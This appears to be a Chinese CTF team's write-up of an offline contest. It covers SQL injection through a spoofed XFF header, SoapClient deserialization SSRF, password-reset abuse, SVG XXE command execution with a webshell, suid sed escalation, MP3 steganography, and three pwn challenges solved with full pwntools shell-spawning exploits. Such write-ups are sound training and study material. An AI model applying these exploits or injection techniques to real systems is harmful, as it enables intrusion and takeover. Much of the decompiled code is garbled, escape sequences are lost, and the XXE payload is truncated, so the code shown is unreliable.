EDI
JOIN US ▶▶▶
EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事。
欢迎各位师傅加入EDI,大家一起打CTF,一起进步。(诚招re crypto pwn 方向的师傅)有意向的师傅请联系邮箱root@edisec.net、shiyi@edisec.net(带上自己的简历,简历内容包括但不限于就读学校、个人ID、擅长技术方向、历史参与比赛成绩等等。
点击蓝字 · 关注我们
1
message_board
代码做了enphp加密,首先工具解混淆
审计一下,Db.php里面insert没过滤直接插入了,存在insert注入,insert调用点一共有两个,一个是注册,一个是发布。
注册这里有个Utils::*getIp*(),在Utils.php实现且存在xff头伪造,题目修复可以对getIp的返回值做过滤,使其无法进行sql注入
所以我们可以在注册点进行sql注入,在另一个发布功能的注入点是在author,也就是用户名,但注册时对用户名进行了过滤,所以我们需要使用xxf的insert来绕过,从而利用newPost处的注入。
查看admin的登录逻辑,密码为弱口令password,直接登录会显示不允许异地登陆,对登录的ip进行了限制
第一个想到的就是ssrf,而ssrf可用通过原生类SoapClient反序列化触发__call,全局搜索unserialize可以找到Utils.php下result2ContentArray函数存在反序列化并调用toArray
result2ContentArray在getPosts处被调用
我们通过insert注入来控制content就能触发到反序列化,从而实现ssrf
先生成反序列化数据
$target = 'http://127.0.0.1/index.php?s=login';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^Cookie: PHPSESSID=edisec^^Content-Length: 32^^^^username=admin&password=password','uri'=> "a"));
$a = serialize($b);
$a = str_replace('^^',"rn",$a);
$a = str_replace('&', '%26', $a);
echo bin2hex(urldecode($a));
编写注入payload并再次hex编码,然后xff头处进行注入,完成准备工作
然后登录恶意用户,发布并获取,触发反序列化,这时我们就可以使用phpsession=edisec登录admin了
在后台用户存在mysql配置修改,猜测应该是连接恶意mysql进行任意文件读取,但没下对应工具没有实操
2
babyweb
php的cms,在忘记用户那可以枚举用户名测试存在用户,并看到注册的邮箱,由于使用公共环境,所以跑出来的用户有点多,但有一个administrator用户的邮箱为admin@xymail.com,应该是管理员没跑了。
创个账号进去,在源码那找到一个market.php,访问提示需要管理员,那就看忘记密码功能。
忘记密码时会发送一个token到邮箱,填写token来重置密码。功能参数为email,且不检查用户session,可以发送两个email,一个为自己的,一个为admin@xymail.com,使用自己邮箱内的token来重置管理员的密码。
进入后台后看到订单管理,已经有上一队帮我买好了flag和赠礼两个商品。查看flag给了一个地址。查看地址,是一个文件上传功能,白名单过滤,但允许上传svg类型图片,结合之前的赠礼提示应该是svg的xxe漏洞结合expect进行命令执行。
因为expect格式的特性,直接echo写shell没成功,所以先上传一个png,然后mv这个png为php即可
payloiad:
<root><name>&xxe;</name></root>
蚁剑连接,ls -l查看flag为root权限,suid提权,找到sed存在suid,使用命令sed -e ‘’ flag.txt获得flag
1
Twin shadow
mp3文件,有点大,先拿去binwalk一下,分离出一个png文件
拖到stegsolve里敲一敲,lsb隐写,分离一下
分离一个zip出来,但需要密码,只能调头再看一看mp3文件,拖到010里面看看,发现private_bit里面有数据,但很多且间隔大小不同
先从010里面把数据导出csv里面,把size读到一个list里面,改下脚本,从list里面获取step
import re
import binascii
n = 598795
result = ''
fina = ''
f=open('list.txt','r').read()
steps=f.split("n")
step_list=[]
for i in steps:
step_list.append(int(i,16))
file = open('1.mp3','rb')
num=0
while num < len(step_list) :
file.seek(n,0)
n += step_list[num]
file_read_result = file.read(1)
read_content = bin(ord(file_read_result))[-1]
result = result + read_content
num+=1
print(result)
随便扔1000个进去,再把多余0删了,然后解一下
import re
fina = ''
result = '01010100010010000110010100101101010100000110111101110111011001010101001000101101011101000110111100101101010000100101001001100101011000010110101100101101011101000100100001100101001011010100011001100001011101000110010100101101001100010101001100101101010100110111010101010010011001010110110001011001001011010110110000110001011010110110010100101101011101000100100000110011001011010100001001001100010000010100010000110011001000000011011101101111001011010110001001100101001000000110110100110000011101100011001101000100001000000100010001001111010101110110111000000000'
textArr = re.findall('.{'+str(8)+'}', result)
# textArr.append(result[(len(textArr)*8):])
for i in textArr:
fina = fina + chr(int(i,2)).strip('n')
print(fina)
得到 THe-PoweR-to-BReak-tHe-Fate-1S-SuRelY-l1ke-tH3-BLAD3 7o-be m0v3D DOWn
用它解开zip后,得到The key is the same as the zip but in the dark side(RC4).txt
应该是使用zip的密码进行rc4解密,试了几个格式后,用sha1加密后为rc4密钥,解密得flag
1
pwn_ad3
打开ida 简单分析 看着像是llvm套的vm(蚌埠住了)
vm初始化伪代码如下
_DWORD *__fastcall sub_1530(__int64 a1, int a2, int a3)
{
_DWORD *v4; // rbp
int v5; // r12d
int v6; // eax
bool v8; // [rsp+Eh] [rbp-3Ah]
bool v9; // [rsp+Fh] [rbp-39h]
v4 = calloc(1uLL, 0x20F0uLL);
v8 = (((_BYTE)dword_628C * ((_BYTE)dword_628C - 1)) & 1) == 0;
v5 = 2112114787;
if ( (((_BYTE)dword_628C * ((_BYTE)dword_628C - 1)) & 1) == 0 )
v5 = 534868956;
v9 = dword_6294 < 10;
if ( dword_6294 < 10 )
v5 = 534868956;
v6 = 1909852961;
do
{
LABEL_9:
if ( v6 != 1909852961 )
{
if ( v6 == 2112114787 )
{
*)v4 = a1;
a2; =
*)v4 + 2) = calloc(a3, 4uLL);
a3; =
v6 = -483786444;
break;
}
goto LABEL_20;
}
v6 = 2112114787;
if ( v9 )
v6 = -483786444;
if ( v8 )
v6 = -483786444;
}
while ( v6 > 1909852960 );
while ( v6 == -483786444 )
{
*)v4 = a1;
a2; =
*)v4 + 2) = calloc(a3, 4uLL);
a3; =
v6 = v5;
if ( v5 > 1909852960 )
goto LABEL_9;
}
if ( v6 != 534868956 )
{
while ( 1 )
LABEL_20:
;
}
return v4;
}
因此我们只需要看细节初始化的地方就行了,sub_1530总结如下
//a1=main函数的栈地址(也是我们输入vmcode的地址) a2=40000 a3=0
sub_1530:
_DWORD *v4;
v4 = calloc(1uLL, 0x20F0uLL);
*(_QWORD *)v4 = a1;
v4[2] = a2;
*((_QWORD *)v4 + 2) = calloc(a3, 4uLL);
v4[6] = a3;
*(_QWORD *)v4 = a1;
v4[2] = a2;
*((_QWORD *)v4 + 2) = calloc(a3, 4uLL);
v4[6] = a3;
return v4;
写个简单的结构体导入一下(control+f9)(也根据vm run函数的处理过程做修改)
struct vm
{
int *code_addr;
int size;
int *regs;
int r_num;
int stack[0x830];
};
上面的代码就变为:
code_addr = (int *)a1;
size = a2;
regs = (int *)calloc(a3, 4uLL);
r_num = a3;
vm run函数也是llvm混淆过的
代码太多,就说下大体分析思路了
首先根据结构体数据赋值吧变量名改下(其实我也没有怎么改)
主要是opcode的取值赋值 比较 以及跳转 摸清 写个 目录就好了
v8就是opcode,根据v10的跳转
v22=v8 v30=0 v19=-1. v21=-1
然后 可以发现有很多个 v22和0,1,2,3,4 ········比较的地方
我们把我们想要的地方下上断点,然后,0~21逐个试一遍,程序断在我们想要的位置即可
比如在我们修改了regs这个指针的情况下,看到这样一条指令
一眼我们就可以看出来这个是 pop指令 regs指针为寄存器结构体地址指针,我们可以通过修改regs指针就可以造成任意地址读写,我们可以断点下在这里找到opcode对应的操作指令
我们可以用相同的方法找到 (push 立即数),(push寄存器),(pop 寄存器) (打印栈值)这4种指令即可完成利用
def push(a):
return p32(9)+p32(a)
def push_r(a):
return p32(0xb)+p32(a)
def pop_r(a):
return p32(0xd)+p32(a)
def again():
return p32(0x12)
def show(a):
return p32(0xe)*a
因为vm初始化的时候里面放入了栈地址(code地址) 以及heap地址,那么我们可以通过print打印出来
然后通过修改regs为栈地址泄露栈地址中的libc
最后再通过修改__regs为free_hook 或者 stack地址都可以完成最后的利用
EXP
#coding:utf-8
import sys
from pwn import *
from ctypes import CDLL
context.log_level='debug'
elfelf='./chall'
#context.arch='amd64'
libc_base=0
heap_base=0
idx=0x10
while True :
# try :
elf=ELF(elfelf)
context.arch=elf.arch
gdb_text='''
b *$rebase(0x1410)
'''
if len(sys.argv)==1 :
clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
io=process(elfelf)
gdb_open=1
# io=process(['./'],env={'LD_PRELOAD':'./'})
clibc.srand(clibc.time(0))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
else :
clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
io=remote('172.16.9.5',9092)
gdb_open=0
clibc.srand(clibc.time(0))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
def gdb_attach(io,a):
if gdb_open==1 :
gdb.attach(io,a)
sleep(0.5)
def push(a):
return p32(9)+p32(a)
def push_r(a):
return p32(0xb)+p32(a)
def pop_r(a):
return p32(0xd)+p32(a)
def again():
return p32(0x12)
def show(a):
return p32(0xe)*a
gdb_attach(io,gdb_text)
io.sendafter('input: ',show(7)+again())
io.recvuntil('0n')
heap_addr1=int(io.recv(5)[:-1],16)
heap_addr2=int(io.recv(8),16)+0x20
io.recvuntil('9c40n')
stack_addr1=int(io.recv(5)[:-1],16)
stack_addr2=int(io.recv(8),16)+0x9C58
pay=show(3)+push(stack_addr2)+push(stack_addr1)
pay+=push_r(0)+push_r(1)+show(4)+push(heap_addr2)+push(heap_addr1)
io.sendafter('input: ',pay+again())
io.recvuntil('n')
io.recvuntil('n')
io.recvuntil('n')
libc1=int(io.recv(5)[:-1],16)
libc_base=int(io.recv(8),16)-0x23f90-243
libc.address=libc_base
bin_sh_addr=libc.search('/bin/shx00').next()
system_addr=libc.sym['system']
free_hook_addr=libc.sym['__free_hook']
pay=show(3)+push(free_hook_addr-8)+push(libc1)
pay+=push(u32('/bin'))+pop_r(0)
pay+=push(u32('/shx00'))+pop_r(1)
pay+=push(system_addr)+pop_r(2)
pay+=push(libc1)+pop_r(3)
io.sendafter('input: ',pay+again())
# success('libc_base:'+hex(libc_base))
success('heap_base:'+hex(heap_base))
# success('stack_addr:'+hex((stack_addr1<<32)+stack_addr2))
io.interactive()
# except Exception as e:
# io.close()
# continue
# else:
# continue
2
sitnote
这个题目只能说一言难尽,线下赛也能把✋🏻伸进libc里面可还行
赛场上是这个样子的,题目下来,llvm,然后开始跑脚本去llvm
去了两个函数之后程序大体逻辑,显现出来了,菜单堆,但是没有打印菜单。
local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rcx
__int64 v4; // rdx
__int64 v5; // rcx
unsigned __int64 v6; // rdi
__int64 v7; // rsi
__int64 v8; // rax
int v9; // eax
__int64 v10; // rcx
__int64 v11; // rsi
__int64 v12; // rdi
__int64 v13; // rsi
__int64 v14; // rcx
__int64 v15; // rsi
__int64 v16; // rdi
int v17; // esi
__int64 v18; // rax
int v19; // eax
_DWORD v20[6]; // [rsp+0h] [rbp-130h] BYREF
__int64 *v21; // [rsp+18h] [rbp-118h]
int i; // [rsp+E0h] [rbp-50h]
char v23; // [rsp+E6h] [rbp-4Ah]
bool v24; // [rsp+E7h] [rbp-49h]
_DWORD *v25; // [rsp+E8h] [rbp-48h]
__int64 *v26; // [rsp+F0h] [rbp-40h]
__int64 v27; // [rsp+F8h] [rbp-38h]
v4 = (unsigned int)(dword_6C2688 - 1);
v23 = ((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0;
v24 = dword_6C2690 < 10;
v3 = 112080690LL;
0; =
0; =
1; =
if ( !((dword_6C2690 < 10 && (v23 & 1) != 0) | ((unsigned __int8)~(dword_6C2690 < 10) ^ (unsigned __int8)~v23) & 1) )
goto LABEL_34;
while ( 1 )
{
v25 = &v20[-4];
v26 = (__int64 *)&v20[-4];
0; =
*)&argc, argv, v4, v3);
v3 = 2845733290LL;
v4 = 3632247323LL;
1; =
*)&argc = (((_BYTE)dword_6C2688 - 7 + 6) * (_BYTE)dword_6C2688) & 1;
if ( (dword_6C2690 < 10 && argc == 0) | (dword_6C2690 < 10) ^ (argc == 0) )
break;
LABEL_34:
0; =
*)&argc, argv, v4, v3);
i = 112080690;
}
for ( i = 99838845; ; i = 99838845 )
{
v5 = 3325517854LL;
1; =
v6 = (unsigned int)dword_6C2690;
v7 = (((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1;
if ( !((dword_6C2690 < 10 && (_DWORD)v7 == 0) | (dword_6C2690 < 10) ^ ((_DWORD)v7 == 0)) )
goto LABEL_35;
while ( 1 )
{
v8 = read_long(v6, v7, v4, v5);
v5 = 3801052166LL;
v4 = 817338735LL;
v6 = (unsigned __int64)v26;
v8; =
v27 = *v26;
1; =
if ( (dword_6C2690 < 10 && ((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0) | ((unsigned __int8)~(dword_6C2690 < 10) ^ (unsigned __int8)~(((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0)) & 1 )
break;
LABEL_35:
v18 = read_long(v6, v7, v4, v5);
v5 = (__int64)v26;
v18; =
i = -969449442;
v21 = v26;
}
i = 1818302425;
if ( v27 < 4 )
{
if ( v27 >= 2 )
{
v4 = v27;
if ( v27 >= 3 )
{
v7, v27, 2777366289LL);
i = 115005891;
goto LABEL_31;
}
v10 = 23550316LL;
v11 = 0xFFFFFFFFLL;
v12 = (((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1;
1; =
if ( (dword_6C2690 < 10 && (_DWORD)v12 == 0) | ((unsigned __int8)~(dword_6C2690 < 10) ^ (unsigned __int8)~((_DWORD)v12 == 0)) & 1 )
goto LABEL_20;
while ( 1 )
{
v11, v4, v10);
i = 23550316;
LABEL_20:
v11, v4, v10);
v10 = 3300370907LL;
v12 = (unsigned int)dword_6C2690;
v4 = 0xFFFFFFFFLL;
v11 = (((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1;
if ( (dword_6C2690 < 10) ^ ((_DWORD)v11 == 0) | (dword_6C2690 < 10 && (_DWORD)v11 == 0) )
{
i = 115005891;
goto LABEL_31;
}
}
}
if ( v27 == 1 )
{
v7, 1LL, 3625747768LL);
i = 115005891;
goto LABEL_31;
}
goto LABEL_28;
}
if ( v27 >= 6 )
{
if ( v27 < 7 )
{
v14 = 2980125399LL;
v15 = (unsigned int)dword_6C2690;
v16 = (unsigned int)(dword_6C2688 - 1);
v4 = (((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1;
if ( (dword_6C2690 < 10) ^ ((_DWORD)v4 == 0) | (dword_6C2690 < 10 && (_DWORD)v4 == 0) )
{
LABEL_26:
v15, v4, v14);
v14 = 3602426981LL;
v16 = (unsigned int)dword_6C2690;
v15 = (((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1;
1; =
if ( (dword_6C2690 < 10 && (_DWORD)v15 == 0) | ((unsigned __int8)~(dword_6C2690 < 10) ^ (unsigned __int8)~((_DWORD)v15 == 0)) & 1 )
{
i = 115005891;
goto LABEL_31;
}
}
v15, v4, v14);
i = -1314841897;
goto LABEL_26;
}
v9 = -1976565134;
if ( v27 == 7 )
v9 = 1617921039;
i = v9;
LABEL_28:
i = -1369147532;
v17 = (((_BYTE)dword_6C2688 - 120 + 119) * (_BYTE)dword_6C2688) & 1;
if ( !((dword_6C2690 < 10 && v17 == 0) | (dword_6C2690 < 10) ^ (v17 == 0)) )
goto LABEL_39;
while ( 1 )
{
sub_40B960("Unknown");
v4 = 2208571241LL;
if ( (dword_6C2690 < 10 && ((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0) | ((unsigned __int8)~(dword_6C2690 < 10) ^ (unsigned __int8)~(((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0)) & 1 )
{
i = 115005891;
goto LABEL_31;
}
LABEL_39:
v19 = sub_40B960("Unknown");
i = 2025167804;
v19; =
}
}
if ( v27 >= 5 )
{
v13 = (((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1;
if ( (dword_6C2690 < 10) ^ ((_DWORD)v13 == 0) | (dword_6C2690 < 10 && (_DWORD)v13 == 0) )
v13, 0xFFFFFFFFLL, 3012737502LL);
v13, 0xFFFFFFFFLL, 3012737502LL);
}
v7, v27, 839414269LL);
i = 115005891;
LABEL_31:
if ( !((dword_6C2690 < 10 && ((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0) | ((unsigned __int8)~(dword_6C2690 < 10) ^ (unsigned __int8)~(((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0)) & 1) )
goto LABEL_40;
while ( !((dword_6C2690 < 10 && ((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0) | (dword_6C2690 < 10) ^ (((((_BYTE)dword_6C2688 - 1) * (_BYTE)dword_6C2688) & 1) == 0)) )
LABEL_40:
i = 1652216043;
}
}
虽然去过之后还是一坨答辩,但是已经是相当不错了,清晰的 if比较从1到6的指向
简单看了add delete edit show 都没有漏洞,点开后门发现llvm去了之后也是难以分析清楚
__int64 __fastcall sub_401650(__int64 a1, __int64 a2)
{
v31 = ((((_BYTE)dword_6C2680 - 1) * (_BYTE)dword_6C2680) & 1) == 0;
v32 = dword_6C268C < 10;
if ( !(((dword_6C268C < 10) ^ v31) & 1 | (dword_6C268C < 10 && v31)) )
goto LABEL_17;
while ( 1 )
{
v33 = v23;
v2 = &v23[-16];
v34 = &v23[-16];
v35 = dword_6C1330 != 0;
v3 = dword_6C268C;
v4 = dword_6C2680 - 1233492817 + 1233492816;
v5 = (((_BYTE)dword_6C2680 - 81 + 80) * (_BYTE)dword_6C2680) & 1;
(dword_6C268C < 10) ^ (v5 == 0); =
if ( (unsigned __int8)a2 | (dword_6C268C < 10 && v5 == 0) )
break;
LABEL_17:
v30 = -74059996;
}
v35; =
if ( v35 )
{
result = sub_40B960("You have use the backdoor once");
v30 = 646810775;
v29 = result;
}
else
{
dword_6C1330 = 1;
*)v33 = 0LL;
v28 = printf((unsigned int)"Input: ", a2, (_DWORD)v2, 1528823701, v3, v4, v23[0]);
v9 = read_long("Input: ", a2, v7, v8);
*)v33 = v9;
if ( *(_QWORD *)v33 >= 0x10uLL )
goto LABEL_9;
if ( !((dword_6C268C < 10) ^ (((((_BYTE)dword_6C2680 - 1) * (_BYTE)dword_6C2680) & 1) == 0) | (dword_6C268C < 10
((((_BYTE)dword_6C2680 - 1) * (_BYTE)dword_6C2680) & 1) == 0)) )
goto LABEL_18;
while ( 1 )
{
v10 = *(_QWORD *)v33;
v36 = (&buf)[*(_QWORD *)v33] == 0LL;
v11 = dword_6C2680 - 633399322 + 633399321;
v12 = (((_BYTE)dword_6C2680 - 26 + 25) * (_BYTE)dword_6C2680) & 1;
if ( (dword_6C268C < 10) ^ (v12 == 0) | (dword_6C268C < 10 && v12 == 0) )
break;
LABEL_18:
v30 = 906460608;
v26 = v33;
}
if ( v36 )
{
LABEL_9:
v13 = (((_BYTE)dword_6C2680 - 103 + 102) * (_BYTE)dword_6C2680) & 1;
if ( !((dword_6C268C < 10) ^ (v13 == 0) | (dword_6C268C < 10 && v13 == 0)) )
goto LABEL_19;
while ( 1 )
{
result = 860644631LL;
if ( (dword_6C268C < 10) ^ (((((_BYTE)dword_6C2680 - 1) * (_BYTE)dword_6C2680) & 1) == 0) | (dword_6C268C < 10 && ((((_BYTE)dword_6C2680 - 1) * (_BYTE)dword_6C2680) & 1) == 0) )
break;
LABEL_19:
v30 = -206821341;
}
v30 = 646810775;
}
else
{
v14 = -2078560568;
v15 = dword_6C2680 - 1692356262 + 1692356261;
v16 = (((_BYTE)dword_6C2680 - 1) * (_BYTE)dword_6C2680) & 1;
0; =
1; =
if ( !((dword_6C268C < 10 && (_DWORD)v16 == 0) | ((unsigned __int8)~(dword_6C268C < 10) ^ (unsigned __int8)~((_DWORD)v16 == 0)) & 1) )
goto LABEL_20;
while ( 1 )
{
v27 = printf((unsigned int)"Input: ", v16, v10, v14, v15, v11, v23[0]);
v19 = read_long("Input: ", v16, v17, v18);
v14 = 307732780;
847373277; =
*)v34 = v19;
v37 = *(_QWORD *)v34 < count[*(_QWORD *)v33];
v16 = 0xFFFFFFFFLL;
v11 = (((_BYTE)dword_6C2680 - 1) * (_BYTE)dword_6C2680) & 1;
(dword_6C268C < 10) ^ (v11 == 0); =
if ( (unsigned __int8)v15 | (dword_6C268C < 10 && v11 == 0) )
break;
LABEL_20:
v25 = printf((unsigned int)"Input: ", v16, v10, v14, v15, v11, v23[0]);
v22 = read_long("Input: ", v16, v20, v21);
*)v34 = v22;
v30 = -2078560568;
v24 = v34;
}
result = 646810775LL;
if ( v37 )
{
result = *(_QWORD *)v34;
*)v33] = *(_QWORD *)v34;
v30 = 646810775;
}
}
}
return result;
}
额也看不是很懂,索性直接patch掉main函数调用后门的地方,然后还被脚本利用成功了,此时怀疑是libc有问题,查看了下编译的libc,是18.04的直接本地拖了一个相应的libc开始 bindiff 对着ida开始看 malloc free
问题出在这里
对着本地malloc的源码看的。
把一个chunk放了两次进tcache bin 并且 couts[tc_idx]+=2
所以这个题就简单了,从fastbin 取出的时候出了个bug 因此申请9个chunk 然后全delete
再申请8个,第九个就放到tcache两次了就 想当于double free
之后就随便做了,patch的方法也很简单照着源码给他还原成放一个回去即可。
EXP
#coding:utf-8
import sys
from pwn import *
from ctypes import CDLL
context.log_level='debug'
elfelf='./sitnote'
#context.arch='amd64'
libc_base=0
heap_base=0
while True :
# try :
elf=ELF(elfelf)
context.arch=elf.arch
gdb_text='''
telescope $rebase(0x202040) 16
'''
if len(sys.argv)==1 :
clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
io=process(elfelf)
gdb_open=1
# io=process(['./'],env={'LD_PRELOAD':'./'})
clibc.srand(clibc.time(0))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
else :
clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
io=remote('172.16.9.5',9095)
gdb_open=0
clibc.srand(clibc.time(0))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
def gdb_attach(io,a):
if gdb_open==1 :
gdb.attach(io,a)
def choice(a):
sleep(0.1)
io.sendline(str(a))
def add(a,b):
choice(1)
io.sendlineafter('Input: ',str(a))
io.sendlineafter('Input: ',str(b))
def edit(a,b):
choice(2)
io.sendlineafter('Input: ',str(a))
io.sendafter('Output: ',b)
def show(a):
choice(3)
io.sendlineafter('Input: ',str(a))
def delete(a):
choice(4)
io.sendlineafter('Input: ',str(a))
for i in range(0xa):
add(i,0x78)
for i in range(9):
delete(i)
for i in range(0x9):
add(i,0x78)
add(10,0x78)
delete(9)
delete(10)
edit(8,p64(0x6c1ec8))
add(9,0x78)
add(10,0x78)
edit(9,'/bin/shx00')
edit(10,p64(0x40ab70))
delete(9)
success('libc_base:'+hex(libc_base))
success('heap_base:'+hex(heap_base))
gdb_attach(io,gdb_text)
io.interactive()
# except Exception as e:
# io.close()
# continue
# else:
# continue
3
message_system
这是个线程管道题目,可以建立管道通信的题目 关键部分在于 线程处理和线程链接处,以及gift调用处
首先是去简单混淆的idapython代码
start=0x11f7
end=0x5e30
for addr in idautils.Heads(start, end):
if 'call sub_1158' == idc.GetDisasm(addr):
addr1=addr
addr3=addr+5
while True:
addr2=addr1
addr1=idc.prev_head(addr1)
if 'mov r12, [rbp+' in idc.GetDisasm(addr1):
addr2=addr1
addr1=idc.prev_head(addr1)
addr2=addr1
addr1=idc.prev_head(addr1)
break
if 'mov rax,'in idc.GetDisasm(addr1):
call_addr=0
call_addr+=idc.get_wide_byte(addr1+3)
call_addr+=(idc.get_wide_byte(addr1+4)<<8)
call_addr+=(idc.get_wide_byte(addr1+5)<<16)
call_addr+=(idc.get_wide_byte(addr1+6)<<24)
call_addr+=addr2
call_addr=idc.get_wide_word(call_addr)
print(hex(call_addr))
print(idc.GetDisasm(addr1))
if 'lea rax,'in idc.GetDisasm(addr1):
call_addr=0
call_addr+=idc.get_wide_byte(addr1+3)
call_addr+=(idc.get_wide_byte(addr1+4)<<8)
call_addr+=(idc.get_wide_byte(addr1+5)<<16)
call_addr+=(idc.get_wide_byte(addr1+6)<<24)
call_addr+=addr2
# call_addr&=0xffffffff
print(hex(call_addr))
print(idc.GetDisasm(addr1))
value=call_addr-addr3
for i in range(4):
v1=(value>>(i*0x8))&0xff
idc.patch_byte(addr+1+i,v1)
去混淆之后ida就能看了
重点的只有选项1选项3选项10
先看1
首先这里是创建了主线程与即将创建线程链接的管道
我们可以看到,创建了两个管道,两个机构体参数分别存了不同管道的输入和输出,这样就定义了我们可以与新开的线程进行交互,具体进行交互的地方如下,
详情请看
https://blog.csdn.net/weixin_44471948/article/details/120846877
懒得写原理了,这个题就这一个主要知识点,这个不会就G,我是之前在学kernel pwn pipe_buffer的时候顺带看了一下pipe的原理。
说一下漏洞触发点吧
选项1里面创建的线程选项1和选项2分别可以造成线程栈的负数溢出
大家patch的时候也是把这里patch了就完事了改成无符号比较就OK了。
一个是从数据包中向栈上拷贝,另一个是从栈上向数据包中拷贝。
这两个都有一个前提是v15≤7,v15这个值从程序的调用来看每次都是定值0x10
所以我们需要绕过
在这个线程函数的最下方有个循环会逐次v15会逐次减一这么发包,这里就是很关键的要绕过的点。
然后我们看看具体细节,v24是存储线程内链接管道结构体的结构体组,这个可以根据上下文理解得来,
one是数据包取出的第一个4字节数据
当one不等于v24[0]也就是第一个管道链接结构体组的id时就会进入下面循环,
先看一下选项10
我们可以看到这个函数就是发送给0号并且从0号接收的,数据包的选项内容什么的是由我们自构造
one为 这个函数的里面我们输入的id v14也就是包里的第二个数据是0第三个参数也就是v15是0x10
后面的数据包括线程里面的选项和其他数据都是我们自己去输入的。
那么我们看看如何构造,我们来看看链接函数。
我只能说这个link有一点点复杂,但是不难理解,id1 t_id1 id2 t_id2 4个id索引
就是id1 线程添加一个标号为t_id2,然后发送 id2 里面标号为 t_id2进行相互发送
因此我们可以构造
for i in range(0xf):
add(i,'keer','aaaa')
for i in range(0x9):
link(i,9,i+1,0)
我们创建了0xf个线程,然后,构成了这么一个回路
线程0里面存的除了与主线程发送和接收主线程的管道还存储了id为9 但是发送和接收都是与线程1交互的结构体流
线程1里面存的除了与主线程发送和接收主线程的管道还存储了id为9 但是发送和接收都是与线程2交互的结构体流
···
以此类推
如果我们通过主线程的选项10向线程0发送一个id为9,选项为2的包,我们先看下,下列过程(线程中)
经过上图,
发送个线程0,id为9,选项为2的数据包会:
主线程->线程0->线程1->线程2->线程3->线程4->线程5->线程6->线程7->线程8->线程9
然后进入线程中选项二copy栈中数据重新倒着走一遍
线程9->线程8->线程7->线程6->线程5->线程4->线程3->线程2->线程1->线程0->主线程
这样就可以绕过v15<=7这个限制了之后就是栈上数据泄露和栈上数据覆盖的操作了。
EXP
#coding:utf-8
import sys
from pwn import *
from ctypes import CDLL
context.log_level='debug'
elfelf='./messageSystem'
#context.arch='amd64'
libc_base=0
heap_base=0
while True :
# try :
elf=ELF(elfelf)
context.arch=elf.arch
gdb_text='''
b *$rebase(0x2D11)
b *$rebase(0x2AF4)
'''
# gdb_text='''
# b *$rebase(0x4A42)
# b *$rebase(0x2AA2)
# b *$rebase(0x2C0C)
# b *$rebase(0x2809)
# b *$rebase(0x33A5)
# b *$rebase(0x2559)
# b *$rebase(0x352B)
# '''
if len(sys.argv)==1 :
clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
io=process(elfelf)
gdb_open=1
# io=process(['./'],env={'LD_PRELOAD':'./'})
clibc.srand(clibc.time(0))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
else :
clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')
io=remote('172.16.9.5',9096)
gdb_open=0
clibc.srand(clibc.time(0))
libc=ELF('./libc-2.31.so')
# ld = ELF('/lib/x86_64-linux-gnu/ld-2.31.so')
one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
def gdb_attach(io,a):
if gdb_open==1 :
gdb.attach(io,a)
def choice(a):
io.sendlineafter('>> ',str(a))
def add(a,b,c):
choice(1)
io.sendlineafter('addressID: ',str(a))
io.sendlineafter('nodeName: ',b)
io.sendlineafter('nodeMessage: ',c)
def link(a,b,c,d):
choice(3)
io.sendlineafter('addressID1: ',str(a))
io.sendlineafter('addressID1: ',str(b))
io.sendlineafter('addressID2: ',str(c))
io.sendlineafter('addressID2: ',str(d))
def gift(idx,pay):
choice(10)
io.sendlineafter('addressID: ',str(idx))
io.sendlineafter('size: ',str(len(pay)))
io.sendafter('data: ',pay)
def show_idx(id,index):
pay=p32(2)+p32(index)
gift(id,pay)
def edit_idx(id,index,data):
pay=p32(1)+p32(index)+p32(0x20)+data
gift(id,pay)
for i in range(0xf):
add(i,'keer','aaaa')
for i in range(0x9):
link(i,9,i+1,0)
show_idx(9,0xffffffff)
io.recvuntil('ret: ')
io.recv(0x18)
leak=u64(io.recvuntil('x7f')[-6:]+'x00x00')
off_addr=0x225b0+0x22000
# off_addr=0x225b0+0x22000
libc_base=(leak-off_addr-0x30)
libc.address=libc_base
bin_sh_addr=libc.search('/bin/shx00').next()
system_addr=libc.sym['system']
